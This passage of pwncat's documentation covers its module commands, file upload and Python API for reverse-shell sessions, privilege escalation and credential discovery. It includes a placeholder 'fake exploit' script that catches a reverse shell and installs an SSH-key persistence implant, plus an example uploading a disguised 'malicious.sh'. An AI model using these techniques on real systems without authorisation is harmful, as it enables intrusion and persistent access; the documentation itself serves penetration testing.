This command gets the documentation/help information for the specified module. This command has no other arguments or parameters. When called without a module name and within a module context, the documentation for the current module is displayed.

```
info enumerate.gather
```

### 2.9.12 Search

This command allows you to search for relevant modules which are currently imported into pwncat. This performs a glob-based search and provides an ellipsized description and module name in a nice table. The syntax is simple:

```
# Search for modules under the `enumerate` package
(local) pwncat$ search enumerate.*
```

### 2.9.13 Use

The `use` command can be *used* to enter the context of a module. When within a module context, the `run`, `set` and `info` commands operate off of the module currently in the context.

The use command simply takes the name of the module you would like to use and takes no other arguments or flags.

```
# Enter the context of the `enumerate.gather` module
use enumerate.gather
# Get information/help for this module
info
# Run the module
run
```

### 2.9.14 Upload

pwncat makes file upload easy through the `upload` command. File upload is accomplished via the `gtfobins` modules, which will enumerate available local binaries capable of writing printable or binary data to files on the remote host. Often, this is `dd` if available but could be any of the many binaries which `gtfobins` understands. The upload takes place over the same connection as your shell, which means you don't need another HTTP or socket server or extra connectivity to your target host.

At the local pwncat prompt, local and remote files are tab-completed to provided an easier upload interface, and a progress bar is displayed.

Listing 8: Upload a script to the remote host

```
upload ./malicious.sh /tmp/definitely-not-malicious
```

## 2.10 API Documentation

pwncat provides a high-level API capable of being used not only while implementing custom commands and modules but also to embed pwncat within scripts. pwncat can be instantiated from a script and you can interact with targets programmatically.

### 2.10.1 Example Script

As an example, the following script demonstrates a fake exploit. In this example, there is a public service listening on port `1337`. We connect to this service, send an exploit and a payload instructing the service to connect back to our attacking machine with a shell. We also start a listener before sending the exploit. After the exploit has been sent, we accept a connection to the listener, and construct a pwncat manager and session around this connected socket.

Because we can harness the full internal pwncat API, we are even able to execute modules prior to entering the pwncat prompt. Below, we install the authorized keys implant prior to starting our shell.

```
#!/usr/bin/env python3
import socket
import pwncat.manager

# Connect to a vulnerable service
sock = socket.create_connect(("192.168.1.1", 1337))
# Create the listener for our shell
```

(continues on next page)

(continued from previous page)

```
listener = socket.create_server(("0.0.0.0", 4444))

# Send the exploit and payload
sock.send("EXPLOITEXPLOITEXPLOIT")
sock.send("REVERSE SHELL PAYLOAD")

# Accept the reverse connection
victim, victim_addr = listener.accept()

with pwncat.manager.Manager() as manager:
    # Establish a pwncat session
    session = manager.create_session(platform="linux", protocol="socket",␣
↪client=victim)

    # Maybe install persistence or whatever
    session.run("implant.authorized_key", key="/home/caleb/.ssh/id_rsa")

    # Give the user a pwncat prompt
    manager.interactive()
```

### 2.10.2 Compatability with Text UI Libraries

pwncat uses `prompt_toolkit` and `python-rich` to support colorful and aesthetically pleasing output. However, this output does not behave well when using external Text UI libraries (e.g. `ncurses`). One notable example is `pwntools` which you likely use when writing binary exploits. Because of this, prior to creating a manager, you should shutdown any TUI libraries you may have loaded.

---

**Note:** pwntools specifically does not provide a way to undo the changes it makes to the stdout/stdin. Because of this, when creating a manager, pwncat will automatically undo the things that pwntools did to change the terminal. You should close any existing pwntools progress instances and not use any output functionality from pwntools after instantiating a manager.

---

### 2.10.3 Modules and Packages

#### pwncat.channel package

Channels represent the basic communication object within pwncat. Each channel abstracts a communication method with a target. By default, pwncat implements a few standard channels: socket bind/connect and ssh.

A channel largely mimicks a standard socket, however exact compatibility with sockets was not the goal. Instead, it provides a low-level communication channel between the target and the attacker. Channels make no assumption about protocol of the C2 connection. This is the platform's job.

As a user, you will never directly create a channel. Instead, you will call *pwncat.manager.Manager.create_session()*. This method will in turn locate an appropriate channel based on your arguments, and pass all arguments to the constructor for the appropriate channel type.

**class** pwncat.channel.**Channel**(*host: str*, *port: int = None*, *user: str = None*, *password: str = None*, ***kwargs*)

Bases: `abc.ABC`

Abstract interation with a remote victim. This class acts similarly to a socket object. In the common cases, it simply wraps a socket object. Some methods have default implementations, but many are required to be implemented. At a minimum, the following methods/properties must be implemented:

- connected
- send
- recv
- recvinto
- drain
- close

The `peek` and `unrecv` methods have default implementations which buffer some data in memory. If using the default implementations of these methods, you should be prepared to read first from *self.peek_buffer* prior to making downstream recv requests.

In general, direct connections are made during `__init__`. If you are implementing a listener, the `connect` method can be used to wait for/accept the final connection. It is called just before instantiating the resulting pwncat session. At all times, `connected` should reflect the state of the underlying data channel. In the case of listeners, `connected` should only be true after `connect` is called. The `close` method should set `connected` to false.

During initialization, you can take any keyword arguments you require to connect. However, you should also always accept a `**kwargs` argument. Parameters are passed dynamically from `pwncat.channel.create` and may be attempted with extra arguments you don't need.

**abstract close**()
Close this channel. This method should do nothing if the `connected` property returns False.

**connect**()
Utilize the parameters provided at initialization to connect to the remote host. This is mainly used for channels which listen for a connection. In that case, *__init__* creates the listener while connect actually establishes a connection. For direct connection-type channels, all logic can be implemented in the constructor.

This method is called when creating a platform around this channel to instantiate the session.

**abstract property connected**
Check if this channel is connected. This should return false prior to an established connection, and may return true prior to the `connect` method being called for some channel types.

**drain**()
Drain any buffered data until there is nothing left

**makefile**(*mode: str*, *bufsize: int = - 1*, *sof: Optional[bytes] = None*, *eof: Optional[bytes] = None*)
Create a file-like object which acts on this channel. If the mode is "r", and `sof` and `eof` are specified, the file will return data following a line containing only `sof` and up to a line containing only `eof`. In "w" mode, the file has no bounds and will never hit `eof`.

**Parameters**

- **mode** (*str*) – a mode string similar to open
- **sof** (*bytes*) – a string of bytes which indicate the start of file
- **eof** (*bytes*) – a string of bytes which indicate the end of file

**Returns** A file-like object suitable for the specified mode

**Return type** Union[BinaryIO, TextIO]

**Raises** ValueError: both "r" and "w" were specified or invalid characters were found in mode

**peek**(*count: Optional[int] = None*, *timeout: Optional[float] = None*)
Receive data from the victim and leave the data in the recv buffer. This is a default implementation which uses an internal `bytes` buffer within the channel to simulate a peek. You can override this method if your underlying transport supports real `peek` operations. If the default `peek` implementation is used, `recv` should read `self.peek_buffer` prior to calling the underlying `recv`.

The `timeout` argument works differently from other methods. If no timeout is specified, then the method returns immediately and may return no data. If a timeout is provided, then the method will wait up to `timeout` seconds for at least one byte of data not to exceed `count` bytes.

**Parameters** **count** (*int*) – maximum number of bytes to receive (default: unlimited)

**Returns** data that was received

**Return type** bytes

**abstract recv**(*count: Optional[int] = None*) → bytes
Receive data from the remote shell

If your channel class does not implement `peek`, a default implementation is provided. If you provide a custom recv, but use the default *peek()* you must return data from `self.peek_buffer` prior to call `recv`.

**Parameters** **count** (*int*) – maximum number of bytes to receive (default: unlimited)

**Returns** the data that was received

**Return type** bytes

**recvinto**(*b*)

**recvline**(*timeout: Optional[float] = None*) → bytes
Recieve data until a newline is received. The newline is not stripped. This is a default implementation that utilizes the `recvuntil` method.

**Parameters** **timeout** (*float*) – a timeout in seconds for the recv

**Return type** bytes

**recvuntil**(*needle: bytes*, *timeout: Optional[float] = None*) → bytes
Receive data until the specified string of bytes is found is found. The needle is not stripped from the data. This is a default implementation which utilizes the `recv` method. You can override this if your underlying transport provides a better implementation.

**Parameters**

- **needle** (*bytes*) – the bytes to wait for
- **timeout** (*Optional[float]*) – a timeout in seconds (default: 30s)

**Returns** the bytes that were read

**Return type** bytes

**abstract send**(*data: bytes*)
Send data to the remote shell. This is a blocking call that only returns after all data is sent.

**Parameters** **data** (*bytes*) – the data to send to the victim

**Return type** None

**sendline**(*data: bytes*, *end: bytes = b'\n'*)
Send data followed by an ending character. If no ending character is specified, a new line is used. This is a blocking call.

**Parameters**

- **data** (*bytes*) – the data to send to the victim
- **end** (*bytes*) – the bytes to append

**Return type** None

**unrecv**(*data: bytes*)
Place the given bytes on a buffer to be returned next by recv. This method utilizes the internal `peek` buffer. Therefore, if you implement a custom `peek` method, you must also implement `unrecv`.

**Parameters** **data** (*bytes*) – the data to place on the incoming buffer

**Return type** None

**exception** pwncat.channel.**ChannelClosed**(*ch*)
Bases: *pwncat.channel.ChannelError*

A channel was closed unexpectedly during communication. This exception provides a *cleanup()* method which will cleanup the channel within the manager to ensure no further errors occur. This method is normally called by the manager itself upon catching the exception, but you should call this method if you intercept and do not re-throw the exception.

**Parameters** **ch** (Channel) – the channel which caused the exception

**cleanup**(*manager:* pwncat.manager.Manager)
Cleanup this channel from the manager

**exception** pwncat.channel.**ChannelError**(*ch*, *msg='generic channel failure'*)
Bases: Exception

Generic failure of a channel operation.

**Parameters**

- **ch** (Channel) – the channel which caused the exception
- **msg** (*str*) – a message describing the failure

**class** pwncat.channel.**ChannelFile**(*channel:* pwncat.channel.Channel, *mode: str*, *sof: Optional[bytes] = None*, *eof: Optional[bytes] = None*, *on_close=None*)
Bases: io.RawIOBase

Wrap a channel in a file-like object. Mainly used for process IO by the platform wrappers. It enables platforms to quickly create a file-like object which is bounded by a delimeter and can be returned to the user safely. You will not normally create this class directly, but should use the func:*Channel.makefile`* method instead.

**Parameters**

- **channel** (Channel) – the channel to which we bind the file
- **mode** (*str*) – a file mode (e.g. "r" or "w")
- **sof** (*Optional[bytes]*) – start of file delimeter; we will recv until this before returning.
- **eof** (*Optional[bytes]*) – end of file delimeter; eof will be set after seeing this bytestr
- **on_close** (*Callable[[Channel], None]*) – a method to call before closing the file

**property blocking**
Indicates whether to act like a blocking file or not.

**close**()
Close the file for reading/writing. This method calls the on_close hook.

**readable**() → bool
Test if this is a readable file.

**readall**()
Read all data until EOF

**readinto**(*b: Union[memoryview, bytearray]*)
Read as much data as possible into the given bytearray or memory view.

**Parameters** **b** (*Union[memoryview, bytearray]*) – the buffer data into

**writable**() → bool
Test if this is writable file.

**write**(*data: bytes*)
Write the given data to the channel

**Parameters** **data** (*bytes*) – the data to write to the channel

**exception** pwncat.channel.**ChannelTimeout**(*ch*, *data: bytes*)
Bases: *pwncat.channel.ChannelError*

A timeout was reached while reading or writing a channel.

**Parameters** **data** (*bytes*) – the data read before the timeout occurred

pwncat.channel.**create**(*protocol: Optional[str] = None*, ***kwargs*) → *pwncat.channel.Channel*
Create a new channel with the class provided by a registered channel protocol. Some assumptions are made if the protocol is not specified. For example, if no username or password are specified, then either bind or connect protocols are assumed. If a username is specified, the ssh protocol is assumed. In any case, with no protocol, a reconnect is attempted first.

**Parameters** **protocol** (*Optional[str]*) – the name of the register channel protocol (e.g. ssh, bind, connect)

**Returns** A newly connected channel

**Return type** *Channel*

**Raises**

**ChannelError: if the victim cannot be reached via the specified** protocol

pwncat.channel.**find**(*name: str*) → Type[*pwncat.channel.Channel*]
Retrieve the channel class for the specified name.

**Parameters** **name** (*str*) – the name of the channel you'd like

**Returns** the channel class

**Return type** Channel Class Object

pwncat.channel.**register**(*name: str*, *channel_class: Type[*pwncat.channel.Channel*]*)
Register a new channel class with pwncat.

**Parameters**

- **name** (*str*) – the name which this channel will be referenced by.
- **channel_class** – A class object implementing the channel interface.

### pwncat.commands package

This module implements the command parser, lexer, highlighter, etc for pwncat. Each command is defined as an individual module under `pwncat/commands` which defines a `Command` class that inherits from *pwncat.commands.CommandDefinition*.

Each command is capable of specifying the expected arguments similar to the way they specified with argparse. Internally, we use the *Parameter* definitions to build an `argparse` parser. We also use them to build a lexer capable of automatic syntax highlighting at the prompt.

To define a new command, simple create a new module under `pwncat/commands` and define a class named `Command`.

### Example Custom Command

Listing 9: A Custom Command Placed in `pwncat/commands`

```
class Command(CommandDefinition):
    """ Command documentation placed in the docstring """

    PROG = "custom"
    ARGS = {
        "--option,-o": Parameter(Complete.NONE, help="help info", action="store_true
↪"),
        "positional": Parameter(
            Complete.CHOICES,
            metavar="POSITIONAL",
            choices=["hello", "world"],
            help="help information",
        ),
    }

    def run(self, manager: "pwncat.manager.Manager", args: "argparse.Namespace"):
        manager.log("we ran a custom command!")
```

**class** pwncat.commands.**CommandCompleter**(*manager:* pwncat.manager.Manager, *commands:* *List[*CommandDefinition*]*)

Bases: `prompt_toolkit.completion.base.Completer`

Tab-complete commands and all of their arguments dynamically using the command definitions and their associated argument definitions.

**get_completions**(*document:* *prompt_toolkit.document.Document*, *complete_event:* *prompt_toolkit.completion.base.CompleteEvent*) → Iterable[prompt_toolkit.completion.base.Completion]

Get a list of completions for the given document

**class** pwncat.commands.**CommandDefinition**(*manager:* pwncat.manager.Manager)

Bases: `object`

Generic structure for a local command.

The docstring for your command class becomes the long-form help for your command. See the above example for a complete custom command definition.

**Parameters** **manager** (`pwncat.manager.Manager`) – the controlling manager for this command

**ARGS: Dict[str, *pwncat.commands.Parameter*] = {}**
A dictionary of parameter definitions created with the `Parameter` class. If this is None, your command will receive the raw argument string and no processing will be done except removing the leading command name.

**DEFAULTS = {}**
A dictionary of default values (passed directly to `ArgumentParser.set_defaults`)

**GROUPS: Dict[str, *pwncat.commands.Group*] = {}**
A dictionary mapping group definitions to group names. The parameters to Group are passed directly to either add_argument_group or add_mutually_exclusive_group with the exception of the mutex arg, which determines the group type.

**LOCAL = False**
Whether this command is purely local or requires an connected remote host

**PROG = 'unimplemented'**
The name of your new command

**build_parser**(*parser: argparse.ArgumentParser*, *args: Dict[str,* pwncat.commands.Parameter*]*, *group_defs: Dict[str,* pwncat.commands.Group*]*)
Parse the ARGS and DEFAULTS dictionaries to build an argparse ArgumentParser for this command. You should not need to overload this.

**Parameters**

- **parser** – the parser object to add arguments to
- **args** – the ARGS dictionary

**run**(*manager:* pwncat.manager.Manager, *args*)
This is the "main" for your new command. This should perform the action represented by your command.

**Parameters**

- **manager** (`pwncat.manager.Manager`) – the manager to operate on
- **args** – the argparse Namespace containing your parsed arguments

**class** `pwncat.commands.`**CommandLexer**(**args*, ***kwds*)
Bases: `pygments.lexer.RegexLexer`

Implements a Regular Expression based pygments lexer for dynamically highlighting the pwncat prompt during typing. The tokens are generated from command definitions.

**classmethod build**(*commands: List[*CommandDefinition*]*) → Type[*pwncat.commands.CommandLexer*]
Build the RegexLexer token list from the command definitions

**tokens = {}**

**class** `pwncat.commands.`**CommandParser**(*manager:* pwncat.manager.Manager)
Bases: `object`

Handles dynamically loading command classes, parsing input, and dispatching commands. This class effectively has complete control over the terminal whenever in an interactive pwncat session. It will change termios modes for the control tty at will in order to support raw vs command mode.

**dispatch_line**(*line: str*, *prog_name: str = None*)
Parse the given line of command input and dispatch a command

**eval**(*source: str*, *name: str = '<script>'*)
Evaluate the given source file. This will execute the given string as a script of commands. Syntax is the

same except that commands may be separated by semicolons, comments are accepted as following a "#" and multiline strings are supported with "'{' and '}'" as delimeters.

**parse_prefix**(*channel*, *data: bytes*)
Parse data received from the user when in pwncat's raw mode. This will intercept key presses from the user and interpret the prefix and any bound keyboard shortcuts. It also sends any data without a prefix to the remote channel.

**Parameters** **data** (*bytes*) – input data from user

**raw_mode**()
Save the current terminal state and enter raw mode. If the terminal is already in raw mode, this function does nothing.

**restore_term**(*new_line=True*)
Restores the normal terminal settings. This does nothing if the terminal is not currently in raw mode.

**run**()
Execute the pwncat REPL. This will continue running until an `InteractiveExit` exception or a `EOFError` exception are raised.

**run_single**()
Execute one Read-Execute iteration. This will prompt the user for input.

**setup_prompt**()
This needs to happen after __init__ when the database is fully initialized.

**enum** pwncat.commands.**Complete**(*value*)
Bases: `enum.Enum`

Command argument completion options. This defines how tab completion works for an individual command parameter/argument. If you choose to use the `CHOICES` type, you must specify the argparse `choices` argument to the *Parameter* constructor. This argument can either be an iterable or a callable which returns a generator. The callable takes as an argument the manager. This allows you to have contextual tab completions if needed.

Valid values are as follows:

**CHOICES = <Complete.CHOICES: 1>**

**LOCAL_FILE = <Complete.LOCAL_FILE: 2>**

**REMOTE_FILE = <Complete.REMOTE_FILE: 3>**

**NONE = <Complete.NONE: 4>**

**class** pwncat.commands.**DatabaseHistory**(*manager*)
Bases: `prompt_toolkit.history.History`

Yield history from the host entry in the database

**load_history_strings**() → Iterable[str]
Load the history from the database

**store_string**(*string: str*) → None
Store a command in the database

**class** pwncat.commands.**Group**(*mutex: bool = False*, ***kwargs*)
Bases: `object`

This just wraps the parameters to the add_argument_group and add_mutually_exclusive_group

**class** pwncat.commands.**LocalPathCompleter**
Bases: `prompt_toolkit.completion.base.Completer`

Complete local file names/paths.

**get_completions**(*document: prompt_toolkit.document.Document*, *complete_event: prompt_toolkit.completion.base.CompleteEvent*)

This should be a generator that yields `Completion` instances.

If the generation of completions is something expensive (that takes a lot of time), consider wrapping this *Completer* class in a *ThreadedCompleter*. In that case, the completer algorithm runs in a background thread and completions will be displayed as soon as they arrive.

**Parameters**

- **document** – `Document` instance.
- **complete_event** – `CompleteEvent` instance.

**class** pwncat.commands.**Parameter**(*complete: pwncat.commands.Complete*, *token=Token.Name.Label*, *group: str = None*, **args*, ***kwargs*)

Bases: `object`

Generic parameter definition for commands.

This class allows you to specify the syntax highlighting, tab completion and argparse settings for a command parameter in on go. The `complete` argument tells pwncat how to tab complete your argument. The `token` argument is normally ommitted but can be used to change the pygments syntax highlighting for your argument. All other arguments are passed directly to `argparse` when constructing the parser.

**Parameters**

- **complete** (`Complete`) – the completion type
- **token** (*`Pygments Token`*) – the Pygments token to highlight this argument with
- **group** – true for a group definition, a string naming the group to be a part of, or none
- **mutex** – for group definitions, indicates whether this is a mutually exclusive group
- **args** – positional arguments for `add_argument` or `add_argument_group`
- **kwargs** – keyword arguments for `add_argument` or `add_argument_group`

**class** pwncat.commands.**RemotePathCompleter**(*manager: pwncat.manager.Manager*, **args*, ***kwargs*)

Bases: `prompt_toolkit.completion.base.Completer`

Complete remote file names/paths

**get_completions**(*document: prompt_toolkit.document.Document*, *complete_event: prompt_toolkit.completion.base.CompleteEvent*)

This should be a generator that yields `Completion` instances.

If the generation of completions is something expensive (that takes a lot of time), consider wrapping this *Completer* class in a *ThreadedCompleter*. In that case, the completer algorithm runs in a background thread and completions will be displayed as soon as they arrive.

**Parameters**

- **document** – `Document` instance.
- **complete_event** – `CompleteEvent` instance.

pwncat.commands.**StoreConstForAction**(*action: List[str]*) → Callable

Generates a custom argparse Action subclass which verifies that the current selected "action" option is one of the provided actions in this function. If not, an error is raised. This stores the constant *const* to the *dest* argument. This is comparable to *store_const*, but checks that you have selected one of the specified actions.

**class** pwncat.commands.**StoreConstOnce**(*option_strings*, *dest*, *nargs=None*, *const=None*, *default=None*, *type=None*, *choices=None*, *required=False*, *help=None*, *metavar=None*)

Bases: argparse.Action

Only allow the user to store a value in the destination once. This prevents users from selection multiple actions in the privesc parser.

pwncat.commands.**StoreForAction**(*action: List[str]*) → Callable

Generates a custom argparse Action subclass which verifies that the current selected "action" option is one of the provided actions in this function. If not, an error is raised.

pwncat.commands.**get_module_choices**(*command*)

Yields a list of module choices to be used with command argument choices to select a valid module for the current target. For example you could use `Parameter(Complete.CHOICES, choices=get_module_choices)`

pwncat.commands.**resolve_blocks**(*source: str*)

This is a dumb lexer that turns strings of text with code blocks (squigly braces) into a single long string separated by semicolons. All code blocks are converted to strings recursively with correct escaping levels. The resulting string can be sent to break_commands to iterate over the commands.

## pwncat.facts package

Generic facts used for standard enumerations. Some fact types are used for multiple platforms, so they were separated out here. You should not generally need to use these types except as reference when interacting with data returned by an enumeration module.

**class** pwncat.facts.**ArchData**(*source*, *arch*)

Bases: *pwncat.db.Fact*

Simply the architecture of the remote machine. This class wraps the architecture name in a nicely printable data class.

**Parameters**

- **source** (*str*) – module which generated this fact
- **arch** (*str*) – the name of the architecture

**arch: str**

The determined architecture.

**title**(*session*)

Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.**DistroVersionData**(*source*, *name*, *ident*, *build_id*, *version*)

Bases: *pwncat.db.Fact*

OS Distribution and version information

**Parameters**

- **source** (*str*) – module which generated this fact
- **name** (*str*) – the name of the target operating system
- **ident** (*str*) – identifier for this specific distro
- **build_id** (*str*) – the build identifier for this OS
- **version** (*str*) – the version of the installed OS

**title**(*session*)
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.**EscalationReplace**(*source*, *source_uid*, *uid*)
Bases: *pwncat.db.Fact*

Performs escalation and transforms the current session into the context of the specified user. This is a base class for escalations.

**Parameters**

- **source** (*str*) – the name of the generating module
- **source_uid** – the starting uid needed to use this escalation
- **uid** – the target uid for this escalation

**escalate**(*session:* pwncat.manager.Session) → Callable[[*pwncat.manager.Session*], None]
Execute the escalation optionally returning a new session

**Parameters** **session** (pwncat.manager.Session) – the session on which to operate

**Returns** Callable - A lambda taking the session and exiting the new shell

**class** pwncat.facts.**EscalationSpawn**(*source*, *source_uid*, *uid*)
Bases: *pwncat.db.Fact*

Performs escalation and spawns a new session in the context of the specified user. The execute method will return the new session. This is a base class for escalations.

**Parameters**

- **source** (*str*) – the name of the generating module
- **source_uid** – the starting uid needed to use this escalation
- **uid** – the target uid for this escalation

**execute**(*session:* pwncat.manager.Session) → *pwncat.manager.Session*
Spawn a new session under the context of a new user

**Parameters** **session** (pwncat.manager.Session) – the session on which to operate

**Returns** pwncat.manager.Session - a newly established session as the specified user

**class** pwncat.facts.**Group**(*source: str*, *name: str*, *gid*, *members*)
Bases: *pwncat.db.Fact*

Basic representation of a user group on the target system. Individual platform enumeration modules may subclass this to implement other user properties as needed for their platform.

**Parameters**

- **source** (*str*) – module which generated this fact
- **name** (*str*) – the name of the group
- **id** (*Union[int, str]*) – the unique group identifier
- **members** (*List[Union[int,str]]*) – a list of unique UIDs who are members of this group

**title**(*session:* pwncat.manager.Session)
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.**HostnameData**(*source*, *hostname*)
Bases: *pwncat.db.Fact*

The hostname of this target as retrieved from the target itself. This is not guaranteed to be resolvable, and is simply the name which the target uses for itself (e.g. from the `hostname` command).

**Parameters**

- **source** (*str*) – module which generated this fact
- **hostname** (*str*) – the hostname of the target

**hostname: str**
The determined architecture.

**title**(*session*)
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.**PotentialPassword**(*source*, *password*, *filepath*, *lineno*, *uid*)
Bases: *pwncat.db.Fact*

A password possible extracted from a remote file *filepath* and *lineno* may be None signifying this password did not come from a file directly.

**Parameters**

- **source** (*str*) – module which generated this fact
- **password** (*str*) – the suspected password
- **filepath** (*str*) – the file where we found the password
- **lineno** (*int*) – the line number where the password was found
- **uid** (*Union[int, str]*) – the user ID for which this password is suspected

**title**(*session*)
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.**PrivateKey**(*source*, *path*, *uid*, *content*, *encrypted*, *authorized: bool = True*)
Bases: *pwncat.facts.implant.Implant*

A private key found on the remote file system or known to be applicable to this system in some way. This fact can also act as an implant. By default, removing the implant will only remove the implant types from the fact. It is assumed that the key was enumerated and not installed. If connection or escalation fails, the *authorized* property is set to False and the implant types are automatically removed.

**Parameters**

- **source** (*str*) – module which generated this fact
- **path** (*str*) – path to the private key on the target
- **uid** (*Union[int, str]*) – the user for which the key was found
- **content** (*str*) – content of the private key
- **encrypted** (*bool*) – whether the key is encrypted
- **authorized** (*bool*) – whether this key is authorized for the user

**content: str**
The actual content of the private key

**description**(*session*) → str
Returns a long-form description. If not defined, the result is assumed to not be a long-form result.

**encrypted: bool**
Is this private key encrypted?

**escalate**(*session:* pwncat.manager.Session)
Escalate to the owner of this private key with a local ssh call

**path: str**
The path to the private key on the remote host

**remove**(*session:* pwncat.manager.Session)
Remove the implant types from this private key

**title**(*session:* pwncat.manager.Session)
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**trigger**(*manager:* pwncat.manager.Manager, *target:* pwncat.target.Target)
Connect remotely to this target with the specified user and key

**uid: int**
The uid we believe the private key belongs to

**class** pwncat.facts.**User**(*source: str*, *name*, *uid*, *password: Optional[str] = None*, *hash: Optional[str] = None*)
Bases: *pwncat.db.Fact*

Basic representation of a user on the target system. Individual platform enumeration modules may subclass this to implement other user properties as needed for their platform.

**Parameters**

- **source** (*str*) – module which generated this fact
- **name** (*str*) – name of the user
- **uid** (*Union[int, str]*) – unique identifier for this user
- **password** (*Optional[str]*) – the password if known
- **hash** (*Optional[str]*) – the password hash if known

## Modules and Packages

### pwncat.facts.ability module

Classes implementing specific abilities. Abilities provide access to specific actions as a different user. They are used when escalating privileges. Basic ability types are defined such as file read, file write and shell execution. This module also defines classes and methods which make building abilities from GTFOBins methods simpler, since they are used in multiple places within pwncat.

**class** pwncat.facts.ability.**ExecuteAbility**(*source: str*, *source_uid: Optional[Union[int, str]]*, *uid: Union[int, str]*)
Bases: *pwncat.db.Fact*

Represents the ability to execute a shell as a different user.

**Parameters**

- **source** (*str*) – generating module name

- **source_uid** (*Optional[Union[int, str]]*) – the starting UID or None if it doesnt matter
- **uid** (*Union[int, str]*) – the target UID

**shell**(*session:* pwncat.manager.Session) → Callable[[*pwncat.manager.Session*], None]
Replace the current shell with a new shell as the identified user

**Parameters** **session** (pwncat.manager.Session) – the session to operate on

**Returns** Callable - A lambda taking the session and exiting the new shell

**class** pwncat.facts.ability.**FileReadAbility**(*source: str*, *source_uid: Optional[Union[int, str]]*, *uid: Union[int, str]*)
Bases: *pwncat.db.Fact*

Represents the ability to read a file as a different user

**Parameters**

- **source** (*str*) – generating module name
- **source_uid** (*Optional[Union[int, str]]*) – the starting UID or None if it doesnt matter
- **uid** (*Union[int, str]*) – the target UID

**open**(*session*, *path: str*, *mode: str = 'r'*, *buffering: int = - 1*, *encoding: str = 'utf-8'*, *errors: str = None*, *newline: str = None*) → IO
Open a file for reading. This method mimics the builtin open function, and returns a file-like object for reading as the target user.

**class** pwncat.facts.ability.**FileWriteAbility**(*source: str*, *source_uid: Optional[Union[int, str]]*, *uid: Union[int, str]*)
Bases: *pwncat.db.Fact*

Represents the ability to write a file as a different user

**Parameters**

- **source** (*str*) – generating module name
- **source_uid** (*Optional[Union[int, str]]*) – the starting UID or None if it doesnt matter
- **uid** (*Union[int, str]*) – the target UID

**open**(*session*, *path: str*, *mode: str = 'r'*, *buffering: int = - 1*, *encoding: str = 'utf-8'*, *errors: str = None*, *newline: str = None*) → IO
Open a file for writing. This method mimics the builtin open function and returns a file-like object for writing as the target user.

**class** pwncat.facts.ability.**GTFOExecute**(*source: str*, *source_uid: Optional[Union[int, str]]*, *uid: Union[int, str]*, *method:* pwncat.gtfobins.MethodWrapper, ***kwargs*)
Bases: *pwncat.facts.ability.ExecuteAbility*

Execute a remote binary with a given GTFObins capability

**Parameters**

- **source** (*str*) – generating module name
- **source_uid** (*Optional[Union[int, str]]*) – the starting UID or None if it doesnt matter
- **uid** (*Union[int, str]*) – the target UID

- **method** (pwncat.gtfobins.MethodWrapper) – the gtfobins method to utilize
- ****kwargs** – keyword arguments passed to the method builder

**Popen**(*session*, **args*, ***kwargs*)
Emulate the platform.Popen method for execution as another user

**run**(*session*, **args*, ***kwargs*)
Emulate the *platform.run* method for execution as another user

**send_command**(*session*, *command: bytes = None*)
Send the command to the target for this GTFObin

**shell**(*session*)
Replace the running shell with a shell as another user

**title**(*session*)
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.ability.**GTFOFileRead**(*source: str*, *source_uid: Optional[Union[int, str]]*, *uid: Union[int, str]*, *method:* pwncat.gtfobins.MethodWrapper, ***kwargs*)
Bases: *pwncat.facts.ability.FileReadAbility*

Utilize a GTFO Method Wrapper to implement the FileReadAbility.

**Parameters**

- **source** (*str*) – generating module name
- **source_uid** (*Optional[Union[int, str]]*) – the starting UID or None if it doesnt matter
- **uid** (*Union[int, str]*) – the target UID
- **method** (pwncat.gtfobins.MethodWrapper) – the gtfobins method to utilize
- ****kwargs** – keyword arguments passed to the method builder

**open**(*session*, *path: str*, *mode: str = 'r'*, *buffering: int = - 1*, *encoding: str = 'utf-8'*, *errors: str = None*, *newline: str = None*)
Read the file data using a GTFO bins reader

**title**(*session*)
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.ability.**GTFOFileWrite**(*source: str*, *source_uid: Optional[Union[int, str]]*, *uid: Union[int, str]*, *method:* pwncat.gtfobins.MethodWrapper, ***kwargs*)
Bases: *pwncat.facts.ability.FileWriteAbility*

Utilize a GTFO Method Wrapper to implement the FileWriteAbility

**Parameters**

- **source** (*str*) – generating module name
- **source_uid** (*Optional[Union[int, str]]*) – the starting UID or None if it doesnt matter
- **uid** (*Union[int, str]*) – the target UID
- **method** (pwncat.gtfobins.MethodWrapper) – the gtfobins method to utilize
- ****kwargs** – keyword arguments passed to the method builder

**open**(*session*, *path: str*, *mode: str = 'w'*, *buffering: int = - 1*, *encoding: str = 'utf-8'*, *errors: str = None*, *newline: str = None*)
Read the file data using a GTFO bins reader

**title**(*session*)
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.ability.**SpawnAbility**(*source: str*, *source_uid: Optional[Union[int, str]]*, *uid: Union[int, str]*)
Bases: *pwncat.db.Fact*

Represents the ability to spawn a non-interactive process as another user.

**Parameters**

- **source** (*str*) – generating module name
- **source_uid** (*Optional[Union[int, str]]*) – the starting UID or None if it doesnt matter
- **uid** (*Union[int, str]*) – the target UID

**execute**(*session: pwncat.manager.Session*, *command: str*)
Utilize this ability to execute a command as a different user

**Parameters**

- **session** (pwncat.manager.Session) – the session on which to operate
- **command** (*str*) – a command to execute

pwncat.facts.ability.**build_gtfo_ability**(*source: str*, *uid: Union[int, str]*, *method: pwncat.gtfobins.MethodWrapper*, *source_uid: Optional[Union[int, str]] = None*, ***kwargs*) → Union[*pwncat.facts.ability.GTFOFileRead*, *pwncat.facts.ability.GTFOFileWrite*, *pwncat.facts.ability.GTFOExecute*]
Build a escalation ability from a GTFOBins method. This will return one of of the GTFO ability classes based on the capabilties exposed by the given GTFOBins method.

**Parameters**

- **source** (*str*) – the generating module
- **uid** (*Union[int, str]*) – the user ID of the target user
- **method** (pwncat.gtfobins.MethodWrapper) – the GTFObins method to use
- **source_uid** (*Optional[Union[int, str]]*) – the user ID of the required starting user (or None if it does not matter)
- ****kwargs** – keyword arguments passed to the GTFOBins method builder

**Return type** Union[*GTFOFileRead*, *GTFOFileWrite*, *GTFOExecute*]

### pwncat.facts.escalate module

